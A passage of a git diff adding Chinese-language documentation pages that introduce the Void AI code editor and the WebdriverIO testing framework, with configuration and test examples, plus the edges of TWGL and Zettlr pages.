/ texture 三大块重复劳动封装成 `ProgramInfo`、`BufferInfo` 和 `createTextures`,让你用普通对象描述 GPU 数据;与 raw WebGL 比,代码量通常能砍半以上;与 Three.js 比,它刻意保持「你仍然拥有整个 GL 上下文」的掌控感。 + +如果你正在学 GPU 图形、又厌倦了复制粘贴 `bindBuffer`——TWGL 值得放在工具栏里;如果你要一周上线一个 3D 产品页——请直接换更完整的引擎,这不是 TWGL 要解决的问题。 + +--- + +## 参考链接 + +- 官网与 live examples:[https://twgljs.org/](https://twgljs.org/) +- API 文档:[https://twgljs.org/docs/module-twgl.html](https://twgljs.org/docs/module-twgl.html) +- 源码与 README:[https://github.com/greggman/twgl.js](https://github.com/greggman/twgl.js) +- 配套教程:[WebGL Fundamentals](https://webglfundamentals.org/) / [WebGL2 Fundamentals](https://webgl2fundamentals.org/) diff --git a/src/content/docs/projects/void.md b/src/content/docs/projects/void.md new file mode 100644 index 000000000..3e8f1a298 --- /dev/null +++ b/src/content/docs/projects/void.md @@ -0,0 +1,318 @@ +--- +title: Void — 开源 Cursor 替代 +来源: https://github.com/voideditor/void +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:自己选供应商的「改装版 VS Code」 + +想象你有一辆很顺手的轿车([[vscode]]),原厂加装了一套导航语音助手,但所有语音都要先经过厂商云端转录,路线偏好和对话记录也留在他们服务器上。有一天你换了一套**开源改装方案**:外壳还是那辆车——座椅、方向盘、扩展槽位全兼容——但语音模块改成**直连**你信任的供应商:OpenAI、Anthropic、本机 Ollama,或公司内网的兼容接口。你说的话和代码上下文**不经过中间商**;不满意 AI 改过的文件,还能像游戏存档一样**一键回滚到改之前**。 + +**Void 就是这辆「改装版 VS Code」。** 它是 [voideditor/void](https://github.com/voideditor/void) 仓库里的完整 IDE 源码(VS Code fork,Apache 2.0),由 YC 支持的 Glass Devtools 团队发起,定位是开源、透明的 [[cursor]] 替代。AI 能力不是外挂扩展,而是**写进编辑器内核**:Tab 补全、行内 Quick Edit(`Ctrl+K`)、侧边栏 Chat(`Ctrl+L`)、Agent / Gather 多步代理、LLM 改动 Checkpoint、MCP 工具接入等。官网:[voideditor.com](https://voideditor.com)。 + +> **重要现状(2026)**:官方 README 声明已**暂停**对本 IDE 仓库的主动维护,转向探索新方向;现有版本仍可运行,但部分功能可能随上游 API 变化而退化。选型时应把它当作「功能完整、更新放缓」的工具,而非快速迭代的商业 IDE。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:Cursor / Copilot 的数据路径不透明 + +商业 AI IDE 往往把你的 prompt 和代码片段经自有后端转发。Void 的设计原则是 **direct-to-provider**:请求从你本机直接打到所选 LLM 服务商,Void 不保留对话数据。适合对合规、内网部署、可审计链路有要求的团队。 + +### 痛点 2:想保留 VS Code 生态,又要 Agent 级能力 + +Void 是 **VS Code 完整 fork**,不是扩展拼装。主题、快捷键、`settings.json`、Marketplace 扩展、集成终端、Git、Remote SSH/WSL 等继承自上游。官方提供**一键迁移** VS Code / Cursor 配置,降低切换成本。 + +### 痛点 3:模型选择被单一厂商绑定 + +Void 支持 **Bring Your Own Key / Own Model**:OpenAI、Anthropic、Google、xAI、OpenRouter、DeepSeek、Qwen、Azure,以及本机 **Ollama**、vLLM 等。可为 Chat、Agent、Autocomplete、Quick Edit **分别指定不同模型**,在成本与质量之间拆开优化。 + +### 痛点 4:AI 改坏了难以撤销 + +Void 为 LLM 驱动的编辑维护 **Checkpoints(检查点)**:每次 AI 批量改动前可存档,改崩了从时间线回滚,而不必依赖 `git stash` 猜哪一步出错。这与 [[cline]] 的 checkpoint 理念相近,但集成在独立 IDE 而非扩展里。 + +### 痛点 5:开源模型缺少原生 tool calling + +许多本地模型不支持 OpenAI 式 function calling。Void 在 changelog 中强调升级了 **tool-calling 实现**,使 R1、Gemma、GPT 4.1 等在 Agent / Gather 模式下也能跑多步工具流——这对「全本地 Agent」很关键。 + +--- + +## 核心概念拆解 + +### 1. VS Code Fork,而非扩展 + +Void 修改的是 `vscode` 本体。AI 相关代码主要集中在: + +```text +src/vs/workbench/contrib/void/ +``` + +这意味着补全、diff 预览、流式输出与编辑器生命周期深度耦合,延迟和 UI 一致性通常优于「编辑器 + 侧边栏插件」方案。代价是:**安装包体积大、自编译门槛高**(需 Node 20.18.2、平台原生构建链,见 `HOW_TO_CONTRIBUTE.md`)。 + +### 2. 四种交互形态 + +| 形态 | 快捷键 / 入口 | 做什么 | +|------|----------------|--------| +| **Tab Autocomplete** | `Tab` 接受建议 | FIM(Fill-in-the-Middle)补全,适合专用代码补全模型 | +| **Quick Edit** | `Ctrl+K` / `Cmd+K` | 选中代码 → 自然语言 → 行内 diff 应用 | +| **Chat** | `Ctrl+L` / `Cmd+L` | 对话、@ 文件/文件夹、建议改哪些文件 | +| **Agent / Gather** | Chat 面板切换模式 | Agent 可读写文件、终端、MCP;Gather **只读**探索仓库 | + +**Gather Mode** 像「只带眼睛不带手的实习生」:能搜索、读文件、梳理依赖,**不能**改磁盘或跑破坏性命令——适合刚进陌生 monorepo 时摸底。 + +**Agent Mode** 则具备写文件、删文件、开终端(含后台持久终端)、调用 MCP 等能力,并可在编辑后尝试 **自动修 lint**。 + +### 3. Fast Apply 与 Search/Replace 块 + +早期 Apply 较慢;后续版本用 **Search/Replace 块**直接落地补丁,并对上千行文件优化 **Fast Apply**。在设置里可开 **auto-approve** 减少逐步确认,但新手建议先手动审查 diff。 + +### 4. Checkpoints + +对 LLM 引起的工作区变更打检查点。与 Git 互补:Git 记录你认可的提交;Checkpoint 记录「某次 prompt 之前」的 IDE 状态,粒度更细,适合反复试 prompt。 + +### 5. FIM 与模型能力自动探测 + +Tab 补全走 **FIM API**(中间填空),不是把整文件塞进 chat completion。Void 会探测模型是否支持 FIM、tools、reasoning,并在设置里提示。本地实验推荐 `qwen2.5-coder` 等 coder 系列小模型做补全。 + +### 6. @file / @folder 上下文 + +在 Chat 输入框用 `@` 引用文件或目录,把路径与内容注入上下文(类似 Cursor 的 @ 语法)。Agent 结合 `@src/api/` 可缩小搜索范围,节省 token。 + +### 7. MCP(Model Context Protocol) + +changelog 记载已支持 MCP,Agent 可挂外部工具(数据库、GitHub、搜索等)。与 [[cline]] 的 MCP Marketplace 不同,Void 侧更偏原生集成,具体服务器需在 Void 设置中按 MCP 规范配置。 + +### 8. 提供商与设置页 + +Void 有独立 **Void Settings** 面板(与 VS Code 通用设置并存),按厂商分 tab 填 API Key、Base URL、模型列表。Ollama 默认探测 `http://127.0.0.1:11434`;局域网带鉴权的 Ollama 可改用 **OpenAI-Compatible** 提供商填地址和 Key。 + +### 9. 与 Cline、Aider、Cursor 的定位 + +| 维度 | Void | [[cline]] | [[aider]] | Cursor | +|------|------|-----------|-----------|--------| +| 形态 | 独立 IDE(VS Code fork) | VS Code 扩展 | 终端 CLI | 商业 IDE | +| 数据路径 | 直连提供商 | BYOK,经扩展 | BYOK | 经 Cursor 后端 | +| 开源 | Apache 2.0 | Apache 2.0 | Apache 2.0 | 闭源 | +| 本地模型 | Ollama 原生 | Ollama 等 | 多种 | 有限 | +| 维护状态 | 暂停主动开发 | 活跃 | 活跃 | 活跃 | + +可组合使用:日常在 Void 里写代码 + Agent,终端用 [[aider]] 做 Git 原子提交,或在 [[vscode]] 里装 Cline 做审批式多步任务。 + +### 10. 构建与分发 + +- **用户**:从 [voideditor.com](https://voideditor.com) 下载安装包(macOS / Windows / Linux)。 +- **开发者**:`git clone` → `npm install` → `Cmd/Ctrl+Shift+B` 编译 → `./scripts/code.sh` 进 Developer Mode。 +- **定制发行版**:维护者用 [void-builder](https://github.com/voideditor/void-builder)(VSCodium 系 pipeline)打正式包;自维护 fork 需自行跟进 VS Code 上游 rebase。 + +--- + +## 安装与首次配置 + +### 下载安装 + +1. 打开 [voideditor.com](https://voideditor.com) 下载对应平台安装包。 +2. 首次启动可走 **Onboarding**:选择提供商(如 OpenRouter、Gemini)、填入 API Key、选默认 Chat 模型。 +3. 若从 VS Code / Cursor 迁移,使用内置 **一键导入** 主题、键位、`settings.json`(具体入口随版本在欢迎页或设置中)。 + +### 本机 Ollama 快速路径 + +```bash +# 安装 Ollama 后拉取模型 +ollama pull qwen2.5-coder:7b +ollama pull deepseek-r1:8b + +# 确认服务监听 +curl http://127.0.0.1:11434/api/tags +``` + +在 Void Settings → **Ollama** 点 **Refresh Models**,为 Chat / Agent / Autocomplete 分别选中模型。若列表为空,检查防火墙与 Ollama 是否已 `ollama serve`。 + +--- + +## 代码示例 1:Void Settings 多模型分工 + +下面是一份概念性的 `settings.json` 片段(键名随版本可能略有差异,以设置 UI 导出为准),演示 **Chat 用强模型、补全用小模型、Agent 用支持 tools 的模型**: + +```json +{ + "void.provider.chat": "anthropic", + "void.anthropic.apiKey": "${env:ANTHROPIC_API_KEY}", + "void.anthropic.model": "claude-sonnet-4-20250514", + + "void.provider.agent": "openai", + "void.openai.apiKey": "${env:OPENAI_API_KEY}", + "void.openai.model": "gpt-4o", + + "void.autocomplete.provider": "ollama", + "void.ollama.providerSettings": { + "baseURL": "http://127.0.0.1:11434" + }, + "void.ollama.model": "qwen2.5-coder:7b", + + "void.featureOptions": { + "autoApprove": false, + "fastApply": true + } +} +``` + +**练习步骤:** + +1. 用环境变量注入 Key,避免明文进 Git。 +2. 打开 `Ctrl+L`,发一条只读问题确认 Chat 模型连通。 +3. 切 **Gather**,`@package.json` 问「本项目有哪些 npm scripts」——应只回答、不改文件。 +4. 在 `.ts` 文件里停顿打字,观察 Tab 补全是否来自 Ollama coder 模型。 + +--- + +## 代码示例 2:Quick Edit(Ctrl+K)改函数 + +假设 `src/math.ts` 中有: + +```typescript +export function add(a: number, b: number) { + return a + b; +} +``` + +1. 选中整个 `add` 函数。 +2. 按 `Ctrl+K`(macOS:`Cmd+K`)。 +3. 输入 prompt: + +```text +改为支持可变参数求和;参数为空时返回 0;保留 TypeScript 类型并加 JSDoc。 +``` + +4. Void 在行内流式显示 diff;满意则 Accept,不满意 Reject 或继续追问。 +5. 若启用了 Checkpoint,可在改动前存档,便于对比 AI 版本与手写版本。 + +**期望结果示意:** + +```typescript +/** + * 对任意个数字求和;无参数时返回 0。 + */ +export function add(...nums: number[]): number { + return nums.reduce((sum, n) => sum + n, 0); +} +``` + +--- + +## 代码示例 3:Agent Mode 小任务与终端 + +场景:在空目录的 Node 项目里初始化 `GET /health`。 + +在 Chat(`Ctrl+L`)切换到 **Agent**,输入: + +```text +@package.json +如果还没有 package.json 就初始化一个最小 TypeScript 项目。 +然后创建 src/server.ts,用原生 http 监听 3000,提供 GET /health 返回 JSON: +{ "status": "ok", "uptime": <秒数> }。 +写完用 node 或 tsx 运行并 curl 验证。有 lint 报错请自行修复。 +``` + +Agent 典型步骤(需按提示批准,除非开启 auto-approve): + +```text +[Tool] write_file package.json +[Tool] write_file src/server.ts +[Tool] run_terminal npm install -D typescript tsx @types/node +[Tool] run_terminal npx tsx src/server.ts +[Tool] run_terminal curl -s http://localhost:3000/health +``` + +若使用 **较弱的本机 Ollama 模型**,社区 issue 反馈可能出现「建议只在聊天里、Apply 不落地」——换更大 coder 模型或云端 API 通常可缓解;这是暂停维护期需要自行踩坑的点。 + +--- + +## 代码示例 4:OpenAI-Compatible 接局域网 Ollama + +当 Ollama 部署在 LAN 且需要 API Key 时,官方 issue 建议走 **OpenAI-Compatible** 而非 Ollama 原生 tab: + +```json +{ + "void.provider.chat": "openai-compatible", + "void.openai-compatible.apiKey": "your-lan-api-key", + "void.openai-compatible.providerSettings": { + "baseURL": "http://192.168.1.50:11434/v1" + }, + "void.openai-compatible.model": "qwen2.5-coder:7b" +} +``` + +保存后重启 Chat,发 `ping` 测试;若报 `contents.parts must not be empty` 类错误,多半是兼容层与 Gemini 式请求体不匹配,可换 vLLM / LiteLLM 做统一代理。 + +--- + +## 常用快捷键速查 + +| 操作 | Windows / Linux | macOS | +|------|-----------------|-------| +| 打开 Chat | `Ctrl+L` | `Cmd+L` | +| 行内 Quick Edit | `Ctrl+K` | `Cmd+K` | +| 接受补全建议 | `Tab` | `Tab` | +| 重载开发者窗口 | `Ctrl+R` | `Cmd+R` | +| 命令面板 | `Ctrl+Shift+P` | `Cmd+Shift+P` | + +--- + +## 从零学习路径建议 + +1. **第 1 天**:安装正式包 → 导入原 VS Code 配置 → 配一个云端模型完成 `Ctrl+L` 问答。 +2. **第 2 天**:装 Ollama → 分离 Chat 与 Autocomplete 模型 → 体验 `Ctrl+K` 小改。 +3. **第 3 天**:用 **Gather** 读陌生仓库;用 **Agent** 完成单文件小功能;练习 Checkpoint 回滚。 +4. **第 4 天**:配置 MCP 服务器(如 filesystem、GitHub),让 Agent 调外部工具。 +5. **进阶**:读 `VOID_CODEBASE_GUIDE.md`,`Cmd+Shift+B` 跑 Developer Mode,改 `contrib/void` 下 UI 或提供商适配。 + +--- + +## 优势与局限 + +### 优势 + +- **开源可审计**:完整 fork 源码,可自建发行版(void-builder)。 +- **隐私与直连**:无强制专有后端,适合 BYOK 与内网模型。 +- **VS Code 兼容**:扩展与习惯可延续,切换成本低于全新 IDE。 +- **能力栈完整**:补全 + 行内编辑 + Chat + Agent + Checkpoint + MCP 一条龙。 +- **本地友好**:Ollama 自动发现、FIM 补全、非原生 tool 模型的 Agent 适配。 + +### 局限 + +- **维护暂停**:新模型、新 API、安全补丁需社区或自维护 fork 跟进。 +- **编译重**:自改源码需 VS Code 级构建环境,机器与时间都不少。 +- **本地 Agent 不稳定**:小模型 + Fast Apply 在 issue 中多次报告不落地,需调模型与设置。 +- **生态分裂**:与 Cursor 的 Composer、Rules、Cloud Agent 等不会自动对齐。 +- **文档分散**:以 GitHub、Discord、changelog 为主,不如商业产品文档系统化。 + +--- + +## 与其他工具怎么选 + +- 要 **闭源省心 + 最强集成**:继续用 Cursor 或 Windsurf。 +- 要 **留在 VS Code + 审批式 Agent**:[[cline]] 扩展更活跃。 +- 要 **终端 Git 工作流**:[[aider]] 更轻。 +- 要 **开源 IDE + 直连 API + 本地模型 + VS Code 外壳**:Void 仍是类别里完成度很高的选择,但需接受**更新放缓**,必要时 fork 自维护。 + +--- + +## 参考链接 + +- 源码与 README:[github.com/voideditor/void](https://github.com/voideditor/void) +- 官网与下载:[voideditor.com](https://voideditor.com) +- 更新日志:[voideditor.com/changelog](https://voideditor.com/changelog) +- 代码库导读:`VOID_CODEBASE_GUIDE.md` +- 贡献与编译:`HOW_TO_CONTRIBUTE.md` +- 发行构建:[github.com/voideditor/void-builder](https://github.com/voideditor/void-builder) +- 社区: [Discord](https://discord.gg/RSNjgaugJs) · 邮件 hello@voideditor.com + +--- + +## 小结 + +Void 把「AI 结对编程」做成了**可自托管、可换引擎的 VS Code 发行版**:你掌握 API Key、模型与数据路径,编辑器提供 Tab 补全、行内快改、Chat、只读 Gather、可写 Agent、改动 Checkpoint 和 MCP。零基础上手只需会装 VS Code 系 IDE、会配一个 LLM 提供商;真正要花心思的是**按场景拆模型**和**在维护暂停时代替自己验证 Agent 可靠性**。若你重视透明与本地优先,Void 值得试;若你依赖最新商业功能,应并行关注 [[cline]]、Cursor 等仍在快速迭代的方案。 diff --git a/src/content/docs/projects/webdriverio.md b/src/content/docs/projects/webdriverio.md new file mode 100644 index 000000000..4f1525d1d --- /dev/null +++ b/src/content/docs/projects/webdriverio.md @@ -0,0 +1,292 @@ +--- +title: WebdriverIO — Node.js 下一代浏览器与移动端自动化测试框架 +来源: webdriverio/webdriverio +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:遥控玩具车,而不是亲手推车 + +想象你要测试一辆遥控玩具车能不能「按说明书跑完全程」:前进、转弯、按喇叭、回到起点。你不会每次都趴在地上用手推轮子——你会拿**遥控器**,发送标准化指令(前进 2 秒、左转 45°),车端的接收器翻译后驱动电机。 + +**WebdriverIO(WDIO)** 就是 Web 应用测试里的那套「遥控器 + 测试编排台」。你的 Node.js 脚本通过 **WebDriver 协议** 向浏览器驱动(ChromeDriver、GeckoDriver 等)发命令;驱动再操控真实浏览器,像用户一样点击、输入、跳转。WDIO 在协议之上加了 **JavaScript 友好的 API**(`$` 选择器、`async/await`、自动等待、插件生态),让你用一套代码跑 E2E、组件测试,甚至通过 Appium 延伸到了 iOS/Android。 + +项目地址:[webdriverio/webdriverio](https://github.com/webdriverio/webdriverio),GitHub 约 9.5k+ Stars(2026 年中),MIT 开源。官方文档:[webdriver.io](https://webdriver.io/)。 + +--- + +## 解决什么问题 + +### 痛点 1:手工回归测试不可扩展 + +每次发版都要人工点一遍登录、下单、支付——慢、易漏、难并行。浏览器自动化把「重复的用户操作」变成可 CI 运行的脚本,PR 合并前就能发现回归。 + +### 痛点 2:原生 WebDriver 绑定太底层 + +直接用 `webdriver` 包写测试,你要自己管 session、拼 HTTP 请求、处理重试和超时。WDIO 封装了 **命令链、隐式等待、重试策略**,并集成 Mocha/Jasmine/Cucumber 等测试框架。 + +### 痛点 3:Web 与移动端测试栈分裂 + +很多团队 Web 用 Selenium,App 用 Appium,两套配置、两套报告。WDIO **同一套 API** 覆盖 WebDriver + Appium,配合 `@wdio/appium-service` 可在本地或 Sauce Labs、BrowserStack 等云端统一运行。 + +### 痛点 4:现代前端 DOM 越来越复杂 + +Shadow DOM、React 组件树、动态 hydration 让 brittle 的 CSS 选择器频繁失效。WDIO v9 起自动穿透 Shadow DOM;还提供 `react$`/`react$$` 按组件名查询,以及 `aria/` 无障碍选择器,更贴近用户真实交互方式。 + +--- + +## 核心概念 + +### 1. WebDriver 协议 — 测试脚本与浏览器之间的「通用语言」 + +**WebDriver** 是 W3C 标准:定义一套与语言无关的 HTTP 命令,让进程外的程序远程控制浏览器——导航、点击、读元素状态等。流程如下: + +```text +测试脚本 (Node.js) + ↓ WDIO 封装 +WebDriver 客户端 (webdriver 包) + ↓ HTTP +浏览器驱动 (ChromeDriver / GeckoDriver / …) + ↓ +真实浏览器 (Chrome / Firefox / Edge / Safari) +``` + +WDIO v8.14+ 起可**自动下载并管理**浏览器与驱动二进制,多数场景无需手动装 ChromeDriver。此外 WDIO 还支持 **WebDriver BiDi**(双向协议,Chrome/Firefox 持续落地),便于监听网络、控制台等事件;以及 **Chrome DevTools Protocol** 集成(如 `@wdio/lighthouse-service` 做性能与 PWA 审计)。 + +与 JSON Wire Protocol 时代不同,现代 WDIO 默认走 W3C WebDriver,跨浏览器行为更一致。 + +### 2. Selector — `$` / `$$` 与元素定位策略 + +WDIO 用 `$` 查单个元素、`$$` 查多个(语法灵感来自 jQuery,但实现基于 WebDriver,无关 Sizzle)。 + +| 写法 | 含义 | 推荐度 | +| --- | --- | --- | +| `$('button=Submit')` | 按可见文本 | ✅ 首选,贴近用户 | +| `$('aria/Submit')` | 按无障碍名称 | ✅ 稳健 | +| `$('[data-testid="submit"]')` | 测试专用属性 | ✅ 常用 | +| `$('#main')` / `$('.btn-large')` | id / class | ⚠️ 易随样式变动 | +| `$('button')` | 标签名 alone | 🚨 太泛 | + +**链式选择(Chain Selectors)**:从父元素逐级缩小范围,避免超长 CSS: + +```js +// 在第二个商品条目里点「加入购物车」 +await $('.row .entry:nth-child(2)').$('button*=Add').click() +``` + +v9 起 Shadow DOM 无需 `>>>` 深选择器,普通 `$()` 即可穿透。React 项目可用 `browser.react$('MyComponent', { props: { name: 'WebdriverIO' } })` 按组件名与 props 过滤。 + +### 3. Command 链 — async/await 与自动等待 + +几乎所有 WDIO 命令都是 **异步** 的。框架内置 **隐式等待**:在超时前反复轮询元素是否出现、可点击,减少手写 `sleep`。 + +典型调用链: + +```text +browser.url() → $('selector') → element.click() / setValue() → browser.getTitle() +``` + +`$` / `$$` 之间可以链式调用而中间不必每步 `await`(内部会串起 Promise),例如: + +```js +const src = await $$('div')[1].nextElement().$$('img')[2].getAttribute('src') +``` + +**Standalone 模式**(脚本里直接用 `webdriverio` 包)与 **Testrunner 模式**(`@wdio/cli` + `wdio.conf.js`)共用同一套 element API;后者额外提供并行实例、Reporter、Service 插件。 + +--- + +## 快速上手 + +### 环境要求 + +- **Node.js** ≥ 18.20(LTS) +- 推荐用 `npm init wdio@latest ./` 向导生成配置(默认 Mocha + Chrome + Page Object 可选) + +### 示例 1:Standalone — 打开 Google 搜索(官方最小示例) + +不搭完整 test runner,直接在 Node 脚本里驱动浏览器: + +```js +import { remote } from 'webdriverio' + +const browser = await remote({ + capabilities: { browserName: 'chrome' } +}) + +await browser.navigateTo('https://www.google.com/ncr') + +const searchInput = await browser.$('#APjFqb') // 选择器随 Google DOM 可能变化 +await searchInput.setValue('WebdriverIO') + +const searchBtn = await browser.$('input[name="btnK"]') +await searchBtn.click() + +console.log(await browser.getTitle()) // 例如 "WebdriverIO - Google 搜索" + +await browser.deleteSession() +``` + +要点:`remote()` 创建 session;`$` 返回 Element;`setValue` / `click` 走 WebDriver;结束时 `deleteSession()` 释放浏览器。 + +### 示例 2:Testrunner + Mocha — 登录流 E2E + +`wdio.conf.js`(节选): + +```js +export const config = { + runner: 'local', + specs: ['./test/specs/**/*.js'], + capabilities: [{ + browserName: 'chrome', + 'goog:chromeOptions': { args: ['--headless=new'] } + }], + baseUrl: 'https://the-internet.herokuapp.com', + framework: 'mocha', + reporters: ['spec'], + mochaOpts: { ui: 'bdd', timeout: 60000 } +} +``` + +`test/specs/login.e2e.js`: + +```js +describe('The Internet — 登录页', () => { + it('应能用有效凭证登录并看到成功提示', async () => { + await browser.url('/login') + + await $('#username').setValue('tomsmith') + await $('#password').setValue('SuperSecretPassword!') + await $('button[type="submit"]').click() + + await expect($('#flash')).toHaveText(expect.stringContaining('You logged into')) + }) + + it('错误密码应显示失败信息', async () => { + await browser.url('/login') + await $('#username').setValue('tomsmith') + await $('#password').setValue('wrong') + await $('button[type="submit"]').click() + + await expect($('#flash')).toHaveText(expect.stringContaining('Your password is invalid')) + }) +}) +``` + +运行: + +```bash +npx wdio run ./wdio.conf.js +npx wdio run ./wdio.conf.js --spec test/specs/login.e2e.js +``` + +WDIO v8+ 内置 **`expect-webdriverio`** 断言库,与 Jest 风格类似,`toHaveText`、`toBeDisplayed` 等都会自动等待。 + +### 示例 3:Page Object 模式(结构示意) + +```js +// pageobjects/LoginPage.js +class LoginPage { + get username() { return $('#username') } + get password() { return $('#password') } + get submit() { return $('button[type="submit"]') } + + async open() { + await browser.url('/login') + } + + async login(user, pass) { + await this.username.setValue(user) + await this.password.setValue(pass) + await this.submit.click() + } +} +export default new LoginPage() +``` + +Page Object 把选择器与操作收拢到一处,UI 改版时只改一个文件——大型套件里的常见实践。 + +--- + +## 生态与扩展 + +| 模块 | 作用 | +| --- | --- | +| `@wdio/cli` | 配置向导、`wdio run` 入口 | +| `@wdio/local-runner` | 本机并行跑用例 | +| `@wdio/browser-runner` | 浏览器内跑组件/单元测试 | +| `@wdio/appium-service` | 自动启停 Appium | +| `@wdio/lighthouse-service` | 性能指标、PWA 检查 | +| `@wdio/allure-reporter` | Allure 报告 | +| `create-wdio` / `npm init wdio` | 一键脚手架 | + +**Multiremote**:同一脚本里同时控多个浏览器/session(例如测聊天两端)。**Services** 在 lifecycle 钩子里注入能力(截图、Mock、云厂商隧道)。 + +--- + +## 与 Playwright、Selenium 对比 + +| 维度 | WebdriverIO | Playwright | Selenium(各语言绑定) | +| --- | --- | --- | --- | +| **语言** | 以 Node.js/TypeScript 为主 | Node/Python/Java/C# | Java、Python、C#、JS 等 | +| **协议** | WebDriver + BiDi + 可选 CDP | 主要自有 CDP 连接,也支持 WebDriver | 标准 WebDriver | +| **架构** | 测试 runner + 插件;可 standalone | 库 + Test Runner / 框架集成 | 库;需自己拼 runner/报告 | +| **自动等待** | 内置 element 等待 | 内置 auto-waiting | 需显式 WebDriverWait 或封装 | +| **移动端** | 通过 Appium 同一套 API | 实验性/有限 | Appium + Selenium 客户端 | +| **浏览器安装** | v8.14+ 可自动管理 driver/浏览器 | `npx playwright install` 一体 | 通常手动或 WebDriverManager | +| **并行** | `maxInstances` + 云 Grid | 原生 worker 并行 | Grid 或第三方 | +| **学习曲线** | 熟悉 JS 即可;配置项较多 | API 现代、文档清晰;偏 E2E | 概念标准但样板代码多 | +| **适用场景** | JS 全栈团队、Web+App 统一栈、需 WebDriver 标准与云厂商兼容 | 新项目 E2E、多 Tab/网络拦截、快速迭代 | 企业已有 Selenium 资产、多语言 QA | + +**怎么选(实用建议)**: + +- 团队已是 **JavaScript/TypeScript**,且要在 **BrowserStack/Sauce** 上跑 WebDriver——WDIO 很合适。 +- **从零开始**、重视调试体验、网络/mock、Trace Viewer——[[playwright]] 往往更快上手。 +- 已有大量 **Java + Selenium** 页面对象——继续 Selenium 或逐步迁移到 WDIO/Playwright,取决于是否愿意统一到 Node 栈。 + +WDIO 与 Selenium 并非对立:WDIO 底层用的就是 `webdriver` npm 包实现 W3C 协议,可以理解为 **「Selenium 协议的 Node 超集 + 测试基础设施」**。 + +--- + +## 常见问题 + +### 元素找不到 / stale element + +优先换 `$('button=文案')` 或 `data-testid`;检查是否在 iframe 或需切换 window handle。Stale 多因 DOM 重渲染——重新 `$()` 定位,或缩短操作链。 + +### 本地 Chrome 版本与 driver 不匹配 + +升级 WDIO 到 ≥ 8.14,让框架自动拉取匹配 driver;或显式设置 `browserVersion`。 + +### 测试 flaky + +避免 `browser.pause()`;用 `waitUntil` 或 `expect(...).toBeDisplayed()`;CI 用 headless 时加 `--window-size=1920,1080` 稳定布局。 + +### TypeScript + +官方一等支持:向导可选 TS,配合 `@wdio/globals` 获得 `browser`/`$` 类型。 + +--- + +## 学习路径建议 + +1. **Day 1**:`npm init wdio@latest`,跑通 spec + `--spec` 单文件。 +2. **Day 2**:练 `$` / `$$`、链式选择、text/aria 选择器;读 [Selectors 文档](https://webdriver.io/docs/selectors/)。 +3. **Day 3**:Page Object + `expect-webdriverio`;接一个 Reporter(spec → allure)。 +4. **Day 4**:CI 里 headless 跑;了解 `@wdio/selenium-standalone-service` 或云 capability。 +5. **延伸**:Appium 移动端、`@wdio/browser-runner` 组件测试、Lighthouse 性能门禁。 + +--- + +## 小结 + +WebdriverIO 把 **W3C WebDriver** 这层「遥控协议」包装成 **Node 开发者熟悉的 async API 与测试 runner**:`$` 定位元素,命令链驱动浏览器,插件连接报告/云/Appium/性能审计。它解决的是 **可重复、可并行、可进 CI 的浏览器(及移动端)自动化**——让你像遥控玩具车一样操控真实浏览器,而不是每次发版都用手「推轮子」做回归。 + +**官方资源**: + +- 文档:[Getting Started](https://webdriver.io/docs/gettingstarted/) +- 协议说明:[Automation Protocols](https://webdriver.io/docs/automationProtocols/) +- 仓库:[github.com/webdriverio/webdriverio](https://github.com/webdriverio/webdriverio) diff --git a/src/content/docs/projects/zettlr.md b/src/content/docs/projects/zettlr.md new file mode 100644 index 000000000..392bc2ce2 --- /dev/null +++ b/src/content/docs/projects/zettlr.md @@ -0,0 +1,294 @@ +--- +title: Zettlr — 学者向 Markdown 编辑器 +来源: https://github.com/Zettlr/Zettlr +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:学者的「写作工作台」,而不是一张白纸 + +想象你正在写毕业论文或期刊投稿:桌上摆着三样东西——一叠索引卡片(每张只记一个想法)、一本参考文献目录(Zotero 导出的 `.bib`)、以及学校提供的 Word/LaTeX 模板。你平时在卡片之间画箭头、标标签;正式写作时把卡片串成章节,引用格式按期刊要求一键切换。 + +**Zettlr 就是把这三样东西搬进同一款桌面应用。** 它基于 **Markdown** 写纯文本,但面向学术场景做了「一等公民」支持:**Zettelkasten(卡片盒)知识管理**、**与 Zotero / JabRef 等文献管理器联动的引用**、以及靠 **Pandoc** 导出 PDF、DOCX、LaTeX 等 30+ 格式。和 Typora、MarkText 这类「好看、通用」的 Markdown 编辑器不同,Zettlr 的定位更接近 **从读书笔记到投稿成稿的一站式工作台**。 + +官方仓库 [Zettlr/Zettlr](https://github.com/Zettlr/Zettlr) 为 GPL-3.0 开源项目,支持 **Windows、macOS、Linux**;官网 [zettlr.com](https://www.zettlr.com) 强调 privacy-first(笔记留在本地)。零基础路径:**安装 → 打开工作区 → 写一张 Zettel 卡片 → 接上 `.bib` 试引用 → 用导出配置投一篇短文**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:学术写作被 Word 格式绑架,又嫌 LaTeX 门槛高 + +期刊要求严格:参考文献样式、页眉页脚、模板字段一个都不能错。Word 能交稿,但版本管理和协作痛苦;LaTeX 排版专业,学习曲线陡峭。Zettlr 让你 **用 Markdown 写正文**,导出时由 **Pandoc** 套用 CSL 样式和自定义模板,在「纯文本简单」与「出版级格式」之间搭桥。 + +### 痛点 2:文献引用在 Markdown 里往往是二等公民 + +许多 Markdown 编辑器不支持 `@citekey`,或只能靠插件凑合。Zettlr **原生集成 Pandoc 引用语法**:连接 BibTeX / BibLaTeX 库后,`@` 自动补全 citekey,预览模式下可看到渲染后的文内引用,侧边栏还有 **动态参考文献预览**,导出时自动追加书目。 + +### 痛点 3:读书笔记要么太长(一整篇读后感),要么太散(文件夹里搜不到) + +**Zettelkasten** 方法主张:每张笔记只承载一个「原子化」想法,用 **链接和标签** 织成网络,写长文时沿链接把思路串起来。Zettlr 提供 **文件 ID、Wiki 式内部链接 `[[...]]`、标签、全文检索、图谱视图**,和 Obsidian、Logseq 同属 PKMS(个人知识管理系统)阵营,但更强调 **与引用、导出、项目** 的学术闭环。 + +### 痛点 4:重复插入 YAML 头、评分表、幻灯片分栏太费时间 + +**Snippets(代码片段)** 基于 TextMate 语法:输入 `:` 触发补全,Tab 在占位符间跳转,支持 `$CURRENT_YEAR`、`$ZKN_ID` 等变量。适合统一论文 front matter、Beamer 幻灯片结构、课程评分 rubric 等 boilerplate。 + +--- + +## 